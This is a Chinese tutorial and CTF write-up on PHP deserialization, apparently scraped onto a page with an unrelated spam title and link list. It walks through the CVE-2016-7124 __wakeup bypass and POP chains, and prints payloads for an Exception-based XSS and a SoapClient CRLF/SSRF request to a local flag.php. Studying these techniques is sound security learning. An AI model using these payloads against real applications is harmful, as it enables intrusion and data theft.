当前位置: 首页 > news >正文

抖音网站开发wordpress og代码

抖音网站开发,wordpress og代码,公众号开放域名的443端口怎么添加,wordpress 暗箱知识点#xff1a; 1、PHP-反序列化-属性类型显示特征 2、PHP-反序列化-CVE绕过字符串逃逸 3、PHP-反序列化-原生类生成利用配合 补充#xff1a;如果在 PHP 类中没有实现某个魔术方法#xff0c;那么该魔术方法在相应的情况下不会被自动触发。PHP 的魔… 知识点 1、PHP-反序列化-属性类型显示特征 2、PHP-反序列化-CVE绕过字符串逃逸 3、PHP-反序列化-原生类生成利用配合 补充如果在 PHP 类中没有实现某个魔术方法那么该魔术方法在相应的情况下不会被自动触发。PHP 的魔术方法需要在类中显式地定义和实现否则默认情况下不会被调用。当 PHP 在特定情况下需要调用某个魔术方法时比如创建对象、访问属性、调用方法等它会检查类是否实现了相应的魔术方法。如果类中没有定义该魔术方法PHP 将不会触发该方法的自动调用。 PHP-属性类型-共有私有保护 1、对象变量属性 public(公共的):在本类内部、外部类、子类都可以访问 protect(受保护的):只有本类或子类或父类中可以访问 private(私人的):只有本类内部可以使用 2、序列化数据显示 public属性序列化的时候格式是正常成员名 private属性序列化的时候格式是%00类名%00成员名 protect属性序列化的时候格式是%00*%00成员名 本地演示序列化数据显示 demo.php ?php header(Content-type: text/html; charsetutf-8); //public private protected说明 class test{public $namexiaodi;private $age29;protected $sexman; } $anew test(); $aserialize($a); print_r($a); var_dump(unserialize($a));protect 修饰的属性 父类自己访问受保护属性类内设置接口类外创建对象访问接口从而访问属性 class ParentClass {protected $protectedProperty Protected Property;public function getProtectedProperty() {return $this-protectedProperty;} }$parentObj new ParentClass(); echo $parentObj-getProtectedProperty(); // 输出: Protected Property子类访问父类的受保护属性子类内设置接口类外子类创建对象访问接口从而访问属性 class ParentClass {protected $protectedProperty Protected Property; }class ChildClass extends ParentClass {public function getProtectedPropertyFromParent() {return $this-protectedProperty;} }$childObj new ChildClass(); echo $childObj-getProtectedPropertyFromParent(); // 输出: Protected Property类外访问父类的受保护属性 class ParentClass {protected $protectedProperty Protected Property; }$parentObj new ParentClass(); // 尝试直接访问父类的受保护属性 echo $parentObj-protectedProperty; // 报错: Fatal error: Uncaught Error: Cannot access protected property类内访问就是在类内的方法访问类外访问就是创建对象调用属性的方式 private 修饰的属性 父类访问自己的私有属性类内设置接口类外创建对象访问接口从而访问属性 class ParentClass {private $privateProperty Private Property;public function getPrivateProperty() {return $this-privateProperty;} }$parentObj new ParentClass(); echo $parentObj-getPrivateProperty(); // 输出: Private Property子类无法直接访问父类的私有属性子类内设置接口类外子类创建对象也不能访问接口从而访问属性 class ParentClass {private $privateProperty Private Property; }class ChildClass extends ParentClass {public function getPrivatePropertyFromParent() {// 尝试访问父类的私有属性return $this-privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private property} }$childObj new ChildClass(); echo $childObj-getPrivatePropertyFromParent();类外无法直接访问父类的私有属性 class ParentClass {private $privateProperty Private Property; }$parentObj new ParentClass(); // 尝试直接访问父类的私有属性 echo $parentObj-privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private propertyprotect 修饰的方法 父类自己访问受保护方法类内设置接口类外创建对象访问接口从而访问方法 class ParentClass {protected function protectedMethod() {return Protected Method;}public function callProtectedMethod() {return $this-protectedMethod();} }$parentObj new ParentClass(); echo $parentObj-callProtectedMethod(); // 输出: Protected Method子类访问父类的受保护方法子类内设置接口类外子类创建对象访问接口从而访问方法 class ParentClass {protected function protectedMethod() {return Protected Method;} }class ChildClass extends ParentClass {public function callProtectedMethodFromParent() {return $this-protectedMethod();} }$childObj new ChildClass(); echo $childObj-callProtectedMethodFromParent(); // 输出: Protected Method类外无法直接访问父类的受保护方法 class ParentClass {protected function protectedMethod() {return Protected Method;} }$parentObj new ParentClass(); // 尝试直接调用父类的受保护方法 echo $parentObj-protectedMethod(); // 报错: Fatal error: Uncaught Error: Call to protected methodprivate 修饰的方法 父类访问自己的私有方法类内设置接口类外创建对象访问接口调用方法 class ParentClass {private function privateMethod() {return Private Method;}public function callPrivateMethod() {return $this-privateMethod();} }$parentObj new ParentClass(); echo $parentObj-callPrivateMethod(); // 输出: Private Method子类无法直接访问父类的私有方法 class ParentClass {private function privateMethod() {return Private Method;} }class ChildClass extends ParentClass {public function callPrivateMethodFromParent() {// 尝试访问父类的私有方法return $this-privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method} }$childObj new ChildClass(); echo $childObj-callPrivateMethodFromParent();类外无法直接访问父类的私有方法 class ParentClass {private function privateMethod() {return Private Method;} }$parentObj new ParentClass(); // 尝试直接调用父类的私有方法 echo $parentObj-privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method总结 概念约定 什么是类内访问通过类内的方法访问属性/方法。什么是类外访问类外创建对象直接访问属性/方法 protect 访问权限只有子类父类自己可以类内访问到类外不行 protect 修饰的属性类内设置访问属性的接口(public)类外的子类本类创建对象调用接口从而访问属性protect 修饰的方法类内设置访问属性的接口(public)类外的子类本类创建对象调用接口从而调用方法 private 访问权限只有父类自己可以类内访问类外不行 private 修饰的属性类内设置接口只有本类自己可以通过创建对象访问类内接口从而访问私有属性private 修饰的方法类内设置接口只有本类自己可以通过创建对象访问类内接口从而访问类内私有方法 PHP-绕过漏洞-CVE字符串逃逸 CVE-2016-7124__wakeupunserialize()时会被自动调用 漏洞编号CVE-2016-7124 影响版本PHP 55.6.25; PHP 77.0.10 漏洞危害如存在__wakeup方法调用unserilize()方法前则先调用__wakeup方法但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行 CVE-2016-7124-本地Demo __wakeup()会在反序列化后调用 代码如下 ?php//__wakeup反序列化恢复对象之前调用该方法 //CVE-2016-7124 __wakeup绕过 class Test{public $sex;public $name;public $age;public function __construct($name, $age, $sex){echo __construct被调用!br;}public function __wakeup(){echo __wakeup()被调用br;}public function __destruct(){echo __destruct()被调用br;}} $t new Test(xiaodi,31,gay); echo serialize($t),br; unserialize($_GET[x]); ?__constructTest类创建对象调用__wakeup反序列化数据调用__destruct销毁对象__destruct销毁对象 绕过__wakeup()修改属性数量即可 说明 反序列化没用调用__construct()属性数错误就会绕过__wakeup()调用只有一个__destruct()函数说明没有对象创建成功 再做个实验PHP属性变为私有生成序列化数据在用共有属性的类反序列化它 ?php//__wakeup反序列化恢复对象之前调用该方法 //CVE-2016-7124 __wakeup绕过 class Test{public $sex;public $name;public $age;public function __construct($name, $age, $sex){echo __construct被调用!br;}public function __wakeup(){echo __wakeup()被调用br;}public function __destruct(){echo __destruct()被调用br;}}$s unserialize($_GET[x]); echo $s; ?类私有属性O:4:Test:3:{s:9:Testsex;N;s:10:Testname;N;s:9:Testage;N;} 类共有属性O:4:Test:3:{s:3:sex;N;s:4:name;N;s:3:age;N;} 用私有属性数据反序列化共有属性类 用共有属性数据反序列化私有属性类权限可以由大到小 [极客大挑战 2019]PHP 下载源码分析 反序列化触发调用__wakeup 强制username值 利用语言漏洞绕过 CVE-2016-7124修改满足漏洞条件触发 POP ?phpclass Name {private $username admin;private $password 100; }$n serialize(new name()); echo $n,\n; echo urlencode($n);? 字符串逃逸 字符变多-str1.php str1-pop.php 字符变少-str2.php str2-pop.php PHP-原生类Tips-获取利用配合 参考案例https://www.anquanke.com/post/id/264823 原生类Native class是指在编程语言的核心库或标准库中提供的类这些类是语言本身提供的而不是由用户自定义的类。原生类通常包含语言内置的功能和特性用于解决常见的编程任务和操作。 PHP原生类使用场景在代码中没有看到魔术方法的情况下使用的 生成原生类脚本代码 ?php $classes get_declared_classes(); foreach ($classes as $class) {$methods get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(__destruct,__toString,__wakeup,__call,__callStatic,__get,__set,__isset,__unset,__invoke,__set_state))) {print $class . :: . $method . \n;}} } 注如果对方环境没有开启相关模块功能那么是没用的。 本地Demo-XSS 测试代码 ?php highlight_file(__file__); $a unserialize($_GET[k]); echo $a; ?思路 1.先看能触发的魔术方法-echo能够触发__toString方法 2.代码中没写魔术方法调用逻辑那就需要用到原生类 3.使用魔术方法的原生类去利用 4.获取魔术方法的原生类(使用脚本去生成生成多少与当前环境模块开关有关 默认的原生类生成脚本有太多原生类和方法了这里只保留__toString方法生成其有的原生类) 无代码通过原生类ExceptionException使用查询编写利用 通过访问触发输出产生XSS漏洞POP链 ?php $anew Exception(scriptalert(xiaodi)/script); echo urlencode(serialize($a)); ?CTFSHOW-Web259 在首页及flag.php都没看到有魔术方法 调用不存在的方法触发__call(因为getflag方法是不存在的所以调用该魔术方法) 无代码通过原生类SoapClient(只生成_call方法的原生类) SoapClient使用查询编写利用 构造pop链 ?php$uaaaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form- urlencoded\r\nContent-Length:13\r\n\r\ntokenctfshow;$clientnew SoapClient(null,array(urihttp://127.0.0.1/,locationhttp://127.0.0.1/flag.php,user_agent$ua));echo urlencode(serialize($client)); ?通过访问本地Flag.php获取Flag
http://www.dnsts.com.cn/news/90576.html

相关文章:

  • 网站建设手机版模板免费做网站方案
  • 做网站要找什么软件发稿服务
  • 重庆游戏网站开发公司红色基调的网站
  • 东莞网站免费制作河北购物网站开发公司
  • 公司开发个网站多少钱做seo为什么要了解网站
  • 四川省建设厅招标网站安监局网站做模拟
  • 用手机开发app做seo网站
  • 昨天正常的网站突然显示建设中云空间
  • 公司申请网站建设的工作方案怎样在中国建设银行网站开通短信提醒
  • 完成网站的建设工作能源网站建设方案
  • 怎样做阿里巴巴网站的店招模板网站可以做优化
  • 一个网站项目多少钱wordpress主题添加右边栏
  • 网站用什么程序做的建立采样点感控监督机制
  • 网站内容建设的布局和结构长湖南营销型网站
  • 西湖区商城网站建设吉林网站开发
  • 广东律师事务所东莞网站建设国内类似wordpress
  • 哪个网站可以卖自己的设计apache wordpress 伪静态规则
  • 广州黄埔网站制作文化传媒公司网站模板
  • 盐城建设厅网站给企业做网站推广好么?
  • 深圳自己做网站做视频有收益的网站
  • 制作简易网站运城 网站制作
  • 网站建设与维护的试卷seo整站优化多少钱
  • 万网网站备案证书鲜花网站建设目的
  • 怎么做网站的内部链接免费网站软件app
  • 网站建设与管理教案东莞做网站哪个公司最好
  • 垂直门户网站怎么做教育类app开发价格表
  • wordpress分类筛选wordpress内部优化
  • 电子商务网站购物流程图东莞企业制作网站
  • 网站icp证明做影视后期有哪些资源网站
  • 有没有好的做海报的网站阿里企业邮箱app